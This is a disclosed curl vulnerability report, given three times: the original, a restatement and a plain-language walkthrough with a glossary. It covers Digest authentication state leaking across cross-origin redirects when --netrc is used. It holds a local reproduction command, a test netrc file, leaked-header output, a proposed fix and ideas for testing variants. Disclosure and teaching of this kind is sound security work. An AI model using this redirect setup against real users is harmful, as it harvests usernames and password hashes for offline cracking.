Digest Auth State Leak on Cross-Origin Redirect via Netrc - Username and Password Hash Sent to Wrong Host
When curl follows a redirect from an attacker-controlled host to another host while using --netrc and --digest, it carries over the Digest authentication state from the first host and sends an unsolicited Digest Authorization header to the second host. This exposes the second host's username in cleartext and a password hash computed with the attacker's chosen nonce, which could allow offline password cracking.
- Disclosed after 2 days
Summary
When curl follows an HTTP redirect from hostA to hostB using --netrc --digest -L, Digest authentication state (nonce, realm) from hostA persists and is combined with hostB's netrc credentials to generate an unsolicited Digest Authorization header sent to hostB. This leaks hostB's username in cleartext and a password hash computed under the attacker's chosen nonce, enabling offline password cracking. The root cause is that Digest state is never cleared on redirect, authhost->picked persists as CURLAUTH_DIGEST, and conn->bits.netrc bypasses Curl_auth_allowed_to_host(). This is a variant of CVE-2022-27774 not covered by that fix - NTLM is correctly cleared on new connections (url.c:3373-3378) but Digest is not.
Affected version
curl 8.20.0-DEV (x86_64-pc-linux-gnu)
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ...
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTP3 ...
Tested on current master (commit rc-8_20_0-2), Linux x86_64. Likely affects all versions with --netrc + --digest + redirect support.
Steps To Reproduce
- Save PoC script as
poc_digest_leak_crossorigin.pyand run it:python3 poc_digest_leak_crossorigin.py
The script starts two HTTP servers (hostA on port 8011, hostB on port 8012), creates a temporary netrc file with credentials for both hosts, and runs curl with --resolve to simulate distinct hostnames:
curl --resolve hosta.evil.com:8011:127.0.0.1 \
--resolve hostb.corp.com:8012:127.0.0.1 \
--netrc-file /tmp/test_netrc \
--digest -L \
http://hosta.evil.com:8011/login
Netrc file:
machine hosta.evil.com
login evil_user
password evil_pass
machine hostb.corp.com
login corporate_admin
password S3cretP@ssw0rd!
- Observe the output - hostB receives an unsolicited Digest Authorization header:
[hostA.evil.com] 401 Digest challenge sent
[hostA.evil.com] Authenticated, redirecting to hostB
VULNERABILITY CONFIRMED: Cross-origin credential leak
hostB.corp.com received unsolicited Digest auth:
Digest username="corporate_admin", realm="evil-realm",
nonce="attacker_controlled_nonce_abc", uri="/secret",
cnonce="b09d5KnvEUHWam89", nc=00000002, qop=auth,
response="6e9f04d34189538559a22613f1fe4082"
LEAKED: hostB username = corporate_admin
STALE: realm from hostA = evil-realm
STALE: nonce from hostA = attacker_controlled_nonce_abc
IMPACT: response hash = MD5(hostB_pass : attacker_nonce : ...)
- Run the hash verification PoC to confirm offline cracking:
python3 poc_verify_hash.py
This proves that knowing the attacker-chosen nonce + leaked hash is sufficient to brute-force the victim's password offline.
Root cause (three interacting issues)
1. Digest state never cleared on redirect - data->state.digest (nonce, realm, cnonce) is only cleaned in Curl_close() and curl_easy_reset(), never during redirect handling.
2. authhost->picked persists - Set to CURLAUTH_DIGEST during hostA's 401 challenge, never reset on redirect. NTLM is correctly cleared at url.c:3373-3378, but Digest is not.
3. conn->bits.netrc bypasses auth check - At http.c:842-844:
if(Curl_auth_allowed_to_host(data)
|| conn->bits.netrc) // bypasses cross-origin check
result = output_auth_headers(...);
Additional information
This is a variant of CVE-2022-27774 (credential leak on redirect). The fix for that CVE added Curl_auth_allowed_to_host(), but the conn->bits.netrc exemption at http.c:842 bypasses it for stateful auth methods. NTLM state is correctly cleared on new connections (url.c:3373-3378) but Digest state is not - this asymmetry indicates an oversight.
Suggested fix: Clear Digest state on cross-origin redirect:
// In redirect handling, after host change detected:
if(!Curl_url_same_origin(base, href)) {
Curl_auth_digest_cleanup(&data->state.digest);
data->state.authhost.picked = CURLAUTH_NONE;
}
Impact
An attacker who controls hostA can redirect a curl user to hostB and obtain: (1) hostB's username in cleartext from the unsolicited Digest header, and (2) a Digest response hash computed with the attacker's chosen nonce, enabling offline password cracking if the attacker can observe the request to hostB. This bypasses the credential leak protections added for CVE-2022-27774.
Context
curl is a command-line tool and library for transferring data with URLs. Among its many options are --netrc, which reads credentials from a netrc file, --digest, which enables HTTP Digest authentication, and -L, which makes curl follow HTTP redirects. These three features are commonly combined: a user stores per-host credentials in a netrc file and lets curl follow redirects across hosts.
The report describes a state leak in that combination. When curl follows a redirect from one host to another, Digest authentication state belonging to the first host survives the redirect and is combined with the second host's netrc credentials. The result is an unsolicited Digest Authorization header sent to the second host, carrying that host's username in cleartext and a response hash computed under a nonce chosen by the first host's operator.
The researcher classifies this as a variant of CVE-2022-27774, the credential leak on redirect that was fixed by adding Curl_auth_allowed_to_host(). The report argues that the fix does not cover this path.
Setup
The affected version reported is:
curl 8.20.0-DEV (x86_64-pc-linux-gnu)
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ...
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTP3 ...
Testing was done on current master at commit rc-8_20_0-2 on Linux x86_64. The researcher notes that the issue likely affects all versions with --netrc, --digest and redirect support.
The reproduction uses two HTTP servers started by a Python script: hostA on port 8011 and hostB on port 8012. A temporary netrc file holds credentials for both hosts, and curl is run with --resolve so that two distinct hostnames both point at 127.0.0.1. No accounts, roles or external services are involved beyond the two local servers.
Finding it
The report identifies that Digest authentication state is not cleared when curl follows a redirect. The state in data->state.digest (nonce, realm, cnonce) is only cleaned in Curl_close() and curl_easy_reset(), never during redirect handling. In addition, authhost->picked is set to CURLAUTH_DIGEST during the first host's 401 challenge and is never reset on redirect. NTLM state, by contrast, is correctly cleared on new connections at url.c:3373-3378, but Digest state is not. The report describes that asymmetry as indicating an oversight.
The third element is the netrc exemption in the authorisation check. At http.c:842-844 the code reads:
if(Curl_auth_allowed_to_host(data)
|| conn->bits.netrc) // bypasses cross-origin check
result = output_auth_headers(...);
Curl_auth_allowed_to_host() was introduced to stop credentials leaking across origins after CVE-2022-27774, but conn->bits.netrc short-circuits it. When credentials come from a netrc file, the cross-origin check is skipped entirely.
Exploitation
Step 1: run the proof-of-concept script
The researcher saves the PoC as poc_digest_leak_crossorigin.py and runs it:
python3 poc_digest_leak_crossorigin.py
The script starts the two HTTP servers, creates a temporary netrc file with credentials for both hosts, and runs curl with --resolve to simulate distinct hostnames:
curl --resolve hosta.evil.com:8011:[redacted] \
--resolve [redacted].com:8012:[redacted] \
--netrc-file /tmp/test_netrc \
--digest -L \
http://hosta.evil.com:8011/login
The two --resolve flags map hosta.evil.com:8011 and [redacted].com:8012 to the loopback address, so the two hostnames behave as separate origins while both are served locally. --netrc-file points curl at the credential file, --digest enables Digest authentication, and -L makes curl follow the redirect that hostA will return.
The netrc file contains:
machine hosta.evil.com
login evil_user
password evil_pass
machine [redacted].com
login corporate_admin
password S3cretP@ssw0rd!
Each machine block supplies the login and password curl will use for that host. The second block holds hostB's credentials.
Step 2: observe the leaked header
hostA answers the initial request with a Digest challenge and then redirects to hostB. hostB receives an unsolicited Digest Authorization header:
[hostA.evil.com] 401 Digest challenge sent
[hostA.evil.com] Authenticated, redirecting to hostB
VULNERABILITY CONFIRMED: Cross-origin credential leak
[redacted].com received unsolicited Digest auth:
Digest username="corporate_admin", realm="evil-realm",
nonce="attacker_controlled_nonce_abc", uri="/secret",
cnonce="b09d5KnvEUHWam89", nc=00000002, qop=auth,
response="[redacted]"
LEAKED: hostB username = corporate_admin
STALE: realm from hostA = evil-realm
STALE: nonce from hostA = attacker_controlled_nonce_abc
IMPACT: response hash = MD5(hostB_pass : attacker_nonce : ...)
The header mixes two sources. The username comes from hostB's netrc entry, so hostB's username is disclosed in cleartext. The realm and nonce are stale values from hostA's challenge, and the nonce is under the attacker's control. The response value is therefore a Digest hash computed over hostB's password using the attacker's nonce, which is what makes offline cracking possible.
Step 3: verify offline cracking
The researcher runs a second script to confirm that the leaked material is enough to recover the password:
python3 poc_verify_hash.py
Knowing the attacker-chosen nonce and the leaked response hash is sufficient to brute-force the victim's password offline.
Root cause
The report identifies three interacting issues.
- Digest state is never cleared on redirect.
data->state.digest(nonce, realm, cnonce) is only cleaned inCurl_close()andcurl_easy_reset(), never during redirect handling. authhost->pickedpersists. It is set toCURLAUTH_DIGESTduring hostA's 401 challenge and never reset on redirect. NTLM is correctly cleared at url.c:3373-3378, but Digest is not.conn->bits.netrcbypasses the auth check. The condition at http.c:842-844 allowsoutput_auth_headers()to run whenever netrc credentials are in use, regardless of whether the destination host is the one the credentials belong to.
The existing defence, Curl_auth_allowed_to_host(), was added for CVE-2022-27774 to stop credentials crossing origins on redirect. The netrc exemption means that defence does not apply to this path. The researcher describes the asymmetry between NTLM and Digest handling as indicating an oversight.
Impact
An attacker who controls hostA can redirect a curl user to hostB and obtain two things: hostB's username in cleartext from the unsolicited Digest header, and a Digest response hash computed with the attacker's chosen nonce. The second enables offline password cracking if the attacker can observe the request to hostB. The attack bypasses the credential leak protections added for CVE-2022-27774.
The impact applies when the attacker controls hostA and can observe the request to hostB. The platform rates the report medium severity with the weakness "Insufficiently Protected Credentials".
Fix
The report proposes clearing Digest state on a cross-origin redirect. In redirect handling, after a host change is detected:
// In redirect handling, after host change detected:
if(!Curl_url_same_origin(base, href)) {
Curl_auth_digest_cleanup(&data->state.digest);
data->state.authhost.picked = CURLAUTH_NONE;
}
This resets both the Digest state and the picked authentication method whenever the redirect leaves the original origin.
- Other stateful auth methods with netrc. Try
--netrccombined with--ntlm,--negotiateor--anyauthacross a cross-origin redirect. A positive result is anAuthorizationheader for the second host that carries credentials or state originating from the first host. - Redirects to a different port or scheme on the same hostname. Check whether the origin comparison treats a port or scheme change as cross-origin. A positive result is stale Digest state being reused after such a redirect.
- Redirect chains. Use a chain of redirects through several hosts before reaching the credential-bearing host. A positive result is the same unsolicited Digest header arriving at the final host.
- netrc with wildcard or default entries. Test netrc
defaultblocks and machine entries that match multiple hosts. A positive result is credentials for one host being sent to another. - Non-redirect origin changes. Test other paths where the effective host changes, such as a proxy or an
Alt-Svcupgrade, with netrc and Digest enabled. A positive result is Digest state from the original host being reused against the new one.
What happened, in plain words
curl is a small program you run in a terminal (the text window where you type commands). Its job is to fetch things from the internet: web pages, files, API responses. It is also a library, meaning other programs can use its code to do the same fetching. You have almost certainly used software that uses curl under the hood without knowing it.
curl has a lot of switches, called options, that you add to a command to change its behaviour. Three of them matter here:
--netrc(and its cousin--netrc-file) tells curl to read usernames and passwords from a small text file called a netrc file, instead of you typing them on the command line. The file can hold credentials for several different servers, one block per server.--digestturns on HTTP Digest authentication, a login method where the password itself is never sent over the wire. Instead, the server sends a random value called a nonce (think of it as a one-time challenge number), and the client sends back a scrambled fingerprint, called a response hash, computed from the password and that nonce. The server can check the fingerprint without the password ever travelling.-Lmakes curl follow redirects. A redirect is a server saying "the thing you want is over there, go ask that address instead". Browsers follow redirects silently all the time;-Ltells curl to do the same.
The three options can be combined: keep credentials in a netrc file, use Digest, and let curl follow redirects. The report shows that this combination has a flaw. When curl is redirected from one server (call it hostA) to a different server (hostB), some of the Digest login state from hostA survives the jump. curl then mixes that leftover state with hostB's credentials from the netrc file and sends a login header to hostB that hostB never asked for. That header contains hostB's username in plain readable text, plus a password fingerprint computed with a nonce that hostA's operator chose. If the attacker can watch the traffic to hostB, they can take that fingerprint home and guess passwords against it offline, at their own leisure, with no further contact with the server.
The researcher calls this a variant of CVE-2022-27774. A CVE is a public catalogue number for a known security bug; CVE-2022-27774 was an earlier curl bug where credentials leaked across a redirect. That earlier bug was fixed by adding a check called Curl_auth_allowed_to_host(), which is supposed to stop credentials from being sent to a host they do not belong to. The report argues that this new path slips past that fix.
The setup
The version where the problem was found is:
curl 8.20.0-DEV (x86_64-pc-linux-gnu)
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ...
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTP3 ...
Line by line:
- The first line says this is a development build of curl, version 8.20.0-DEV, built for 64-bit Linux on an Intel-style processor (
x86_64-pc-linux-gnu). "DEV" means it is not an official release yet. Release-Date: [unreleased]confirms there is no release date because the build is not released.- The
Protocolsline lists the kinds of addresses curl can talk to:dict,file,ftp,ftps,gopher,gophers,http,https,imap,imapsand more (the...means the list was shortened). - The
Featuresline lists optional capabilities compiled into this build, such as HTTP/2 and HTTP/3 support and HSTS. Again the list is shortened.
Testing was done on the then-current development code, at commit rc-8_20_0-2, on Linux x86_64. A commit is a saved snapshot in a code repository; the label identifies exactly which snapshot was tested. The report says the issue likely affects all versions with --netrc, --digest and redirect support.
The reproduction uses two small web servers started by a Python script: hostA on port 8011 and hostB on port 8012. A port is a numbered door on a machine; one computer can run many servers, each listening on a different port. A temporary netrc file holds credentials for both hosts, and curl is run with --resolve so that two different hostnames both point at the local machine ([redacted], which always means "this computer"). That trick lets one laptop pretend to be two separate internet sites. No real accounts, roles or outside services are involved beyond those two local servers.
Finding it
The researcher noticed that Digest login state is not wiped when curl follows a redirect. The state lives in a variable called data->state.digest, which holds the nonce, the realm and the cnonce. The realm is a label the server uses to say which protected area a login belongs to; the cnonce is a random value the client contributes to the calculation. That state is only cleaned up in two places, Curl_close() (when the whole transfer is shut down) and curl_easy_reset() (when a program explicitly resets a curl handle). It is never cleaned during redirect handling, which is exactly the moment when the destination may change.
Second, a flag called authhost->picked is set to CURLAUTH_DIGEST when hostA sends its 401 challenge, and it is never reset on redirect. A 401 is the standard HTTP status code for "you need to log in". authhost->picked is curl's memory of which login method it decided to use for the current host. NTLM, another login method with similar state, is correctly cleared on new connections at url.c:3373-3378, but Digest is not. That difference is what made the behaviour look wrong: a login method that carries state was surviving a change of origin. An origin is the combination of scheme (http or https), hostname and port; two addresses with a different origin are, for security purposes, different sites.
The third element is an exemption for netrc credentials in the authorisation check. At http.c:842-844 the code reads:
if(Curl_auth_allowed_to_host(data)
|| conn->bits.netrc) // bypasses cross-origin check
result = output_auth_headers(...);
Line by line:
if(Curl_auth_allowed_to_host(data)starts a condition that asks the functionCurl_auth_allowed_to_host()whether it is acceptable to send credentials to the host we are talking to now. That function was introduced to stop credentials leaking across origins after CVE-2022-27774.|| conn->bits.netrc)is an "or". It means the whole condition is also true ifconn->bits.netrcis set, that is, if the credentials in use came from a netrc file. The comment says it plainly: this bypasses the cross-origin check.result = output_auth_headers(...);is the action taken when the condition is true: build and output the authentication headers. Because of the "or", this happens whenever netrc credentials are in play, even if the destination host is not the one those credentials belong to.
In short, the safety check exists, but the netrc case skips it entirely.
Exploitation
Step 1: run the proof-of-concept script
The researcher saves the proof of concept (PoC, a small program that demonstrates a bug) as poc_digest_leak_crossorigin.py and runs it:
python3 poc_digest_leak_crossorigin.py
This line runs the Python script with the Python 3 interpreter. The script does the preparation: it starts the two HTTP servers, creates a temporary netrc file with credentials for both hosts, and then runs curl with --resolve to simulate distinct hostnames:
curl --resolve hosta.evil.com:8011:[redacted] \
--resolve [redacted].com:8012:[redacted] \
--netrc-file /tmp/test_netrc \
--digest -L \
http://hosta.evil.com:8011/login
Line by line:
curlis the program being run.--resolve hosta.evil.com:8011:[redacted]tells curl: when asked forhosta.evil.comon port 8011, actually connect to[redacted], the local machine. The backslash at the end means the command continues on the next line.--resolve [redacted].com:8012:[redacted]does the same for the second hostname on port 8012. So both names behave as separate origins while both are served locally.--netrc-file /tmp/test_netrcpoints curl at the credential file to read.--digestenables Digest authentication.-Lmakes curl follow the redirect that hostA will return.http://hosta.evil.com:8011/loginis the starting address: plain HTTP, hostA, port 8011, path/login.
The netrc file contains:
machine hosta.evil.com
login evil_user
password evil_pass
machine [redacted].com
login corporate_admin
password S3cretP@ssw0rd!
Line by line:
machine hosta.evil.comstarts a block of credentials for that host.login evil_userandpassword evil_passare the username and password curl will use for hostA. These belong to the attacker's own server, so they are not secret.machine [redacted].comstarts the block for the second host.login corporate_adminandpassword S3cretP@ssw0rd!are the victim's corporate credentials. The leaked header should never reach hostB uninvited.
Step 2: observe the leaked header
hostA answers the first request with a Digest challenge (the 401), then redirects to hostB. hostB then receives a Digest Authorization header it never asked for:
[hostA.evil.com] 401 Digest challenge sent
[hostA.evil.com] Authenticated, redirecting to hostB
VULNERABILITY CONFIRMED: Cross-origin credential leak
[redacted].com received unsolicited Digest auth:
Digest username="corporate_admin", realm="evil-realm",
nonce="attacker_controlled_nonce_abc", uri="/secret",
cnonce="b09d5KnvEUHWam89", nc=00000002, qop=auth,
response="[redacted]"
LEAKED: hostB username = corporate_admin
STALE: realm from hostA = evil-realm
STALE: nonce from hostA = attacker_controlled_nonce_abc
IMPACT: response hash = MD5(hostB_pass : attacker_nonce : ...)
Line by line:
[hostA.evil.com] 401 Digest challenge sentis the first server's log: it asked for a Digest login.[hostA.evil.com] Authenticated, redirecting to hostBshows curl answered the challenge and hostA then sent a redirect to the second server.VULNERABILITY CONFIRMED: Cross-origin credential leakis the script's own verdict line.[redacted].com received unsolicited Digest auth:says the second server got a login header without having asked for one.- The
Digest username="corporate_admin"part is hostB's username, taken from the netrc file, sent in clear readable text. realm="evil-realm"andnonce="attacker_controlled_nonce_abc"are leftovers from hostA's challenge. The nonce is chosen by the attacker, which is the key to the next step.uri="/secret",cnonce="b09d5KnvEUHWam89",nc=00000002andqop=authare the other fields Digest needs to build the fingerprint: the address being requested, the client's random value, a request counter and the quality-of-protection setting.response="[redacted]"is the fingerprint itself, a hash computed from hostB's password and the attacker's nonce.- The
LEAKED,STALEandIMPACTlines summarise it: the username leaked, the realm and nonce are stale from hostA, and the response hash is effectively MD5 of hostB's password combined with the attacker's nonce and other values (the...stands for the rest of the inputs). MD5 is an old hashing function; a hash is a one-way scramble, easy to compute forwards and hard to reverse, but guessable by trying candidate passwords.
The header mixes two sources. The username comes from hostB's netrc entry, so hostB's username is disclosed in cleartext. The realm and nonce are stale values from hostA's challenge, and the nonce is under the attacker's control. The response value is therefore a Digest hash computed over hostB's password using the attacker's nonce, which is what makes offline cracking possible.
Step 3: verify offline cracking
The researcher runs a second script to confirm that the leaked material is enough to recover the password:
python3 poc_verify_hash.py
This runs another Python 3 script. "Offline" is the important word: the attacker does not need to keep talking to hostB. They take the leaked username, the nonce they chose and the response hash, and try candidate passwords on their own machine, computing the same fingerprint for each guess until one matches. Knowing the attacker-chosen nonce and the leaked response hash is sufficient to brute-force the victim's password offline. Brute force means trying guesses one after another; the server never sees the attempts, so it cannot rate-limit or lock the account.
Root cause
The report identifies three interacting issues.
- Digest state is never cleared on redirect.
data->state.digest(nonce, realm, cnonce) is only cleaned inCurl_close()andcurl_easy_reset(), never during redirect handling. authhost->pickedpersists. It is set toCURLAUTH_DIGESTduring hostA's 401 challenge and never reset on redirect. NTLM is correctly cleared at url.c:3373-3378, but Digest is not.conn->bits.netrcbypasses the auth check. The condition at http.c:842-844 allowsoutput_auth_headers()to run whenever netrc credentials are in use, regardless of whether the destination host is the one the credentials belong to.
The existing defence, Curl_auth_allowed_to_host(), was added for CVE-2022-27774 to stop credentials crossing origins on redirect. The netrc exemption means that defence does not apply to this path. The researcher describes the asymmetry between NTLM and Digest handling as indicating an oversight: one stateful login method is cleaned up on a host change, the other is forgotten.
Impact
An attacker who controls hostA can redirect a curl user to hostB and obtain two things: hostB's username in cleartext from the unsolicited Digest header, and a Digest response hash computed with the attacker's chosen nonce. The second enables offline password cracking if the attacker can observe the request to hostB. The attack bypasses the credential leak protections added for CVE-2022-27774.
The preconditions are the ones in the reproduction: the user must run curl with --netrc, --digest and -L, the netrc file must contain credentials for the destination host, and the attacker must control the first host and be able to observe the request to the second. The platform rates the report medium severity with the weakness "Insufficiently Protected Credentials".
Fix
The report proposes clearing Digest state on a cross-origin redirect. In redirect handling, after a host change is detected:
// In redirect handling, after host change detected:
if(!Curl_url_same_origin(base, href)) {
Curl_auth_digest_cleanup(&data->state.digest);
data->state.authhost.picked = CURLAUTH_NONE;
}
Line by line:
// In redirect handling, after host change detected:is a comment saying where this code belongs.if(!Curl_url_same_origin(base, href)) {asks whether the old address (base) and the new address (href) are not the same origin. The!means "not".Curl_auth_digest_cleanup(&data->state.digest);wipes the stored Digest state: nonce, realm and cnonce.data->state.authhost.picked = CURLAUTH_NONE;forgets the chosen login method, so curl will not assume Digest is still in play for the new host.}closes the block.
This resets both the Digest state and the picked authentication method whenever the redirect leaves the original origin, mirroring the way NTLM state is already cleared on new connections.
- Other stateful auth methods with netrc. Try
--netrccombined with--ntlm,--negotiateor--anyauthacross a cross-origin redirect. A positive result is anAuthorizationheader for the second host that carries credentials or state originating from the first host. - Redirects to a different port or scheme on the same hostname. Check whether the origin comparison treats a port or scheme change as cross-origin. A positive result is stale Digest state being reused after such a redirect.
- Redirect chains. Use a chain of redirects through several hosts before reaching the credential-bearing host. A positive result is the same unsolicited Digest header arriving at the final host.
- netrc with wildcard or default entries. Test netrc
defaultblocks and machine entries that match multiple hosts. A positive result is credentials for one host being sent to another. - Non-redirect origin changes. Test other paths where the effective host changes, such as a proxy or an
Alt-Svcupgrade, with netrc and Digest enabled. A positive result is Digest state from the original host being reused against the new one.
Glossary
- curl: a command-line program and library for fetching data from URLs.
- Option / switch: a word starting with
--added to a command to change what the program does. - netrc file: a text file holding usernames and passwords for one or more servers, read by curl when
--netrcor--netrc-fileis used. - HTTP Digest authentication: a login method where the password is never sent; the server sends a nonce and the client returns a hash computed from the password and that nonce.
- Nonce: a one-time random value used in a login exchange to make each challenge different.
- Realm: a label naming the protected area a login belongs to.
- cnonce: a random value contributed by the client in the Digest calculation.
- Response hash: the fingerprint the client sends back in Digest authentication, computed from the password and other values.
- Hash / MD5: a one-way scramble of data; MD5 is an old hashing function. Hashes can be guessed by trying candidate inputs.
- Redirect: a server telling the client to fetch the same thing from a different address.
-L: the curl option that makes it follow redirects.- Origin: the combination of scheme, hostname and port; different origins are treated as different sites.
- 401: the HTTP status code meaning authentication is required.
- Authorization header: the part of an HTTP request that carries login information.
- Unsolicited: sent without the receiving server having asked for it.
- CVE: a public catalogue number for a known security vulnerability; CVE-2022-27774 is the earlier curl credential leak on redirect.
Curl_auth_allowed_to_host(): the curl function that decides whether credentials may be sent to the current host; added to fix CVE-2022-27774.- NTLM: another stateful login method, which curl does clear on new connections.
- State / stateful: information a program remembers between steps; stateful authentication keeps values such as nonces across requests.
- Proof of concept (PoC): a small program that demonstrates a bug.
- Port: a numbered door on a machine through which a server listens.
--resolve: the curl option that maps a hostname and port to a specific address.- [redacted]: the address that always means the local machine.
- Commit: a saved snapshot in a code repository.
- Offline cracking / brute force: trying candidate passwords on your own machine against a captured hash, without contacting the server.
- Severity: a rating of how serious a vulnerability is; this report is rated medium.
- Insufficiently Protected Credentials: the weakness category assigned to this report.
- Proxy: an intermediary server that forwards requests on a client's behalf.
- Alt-Svc: an HTTP mechanism by which a server advertises an alternative address for the same service.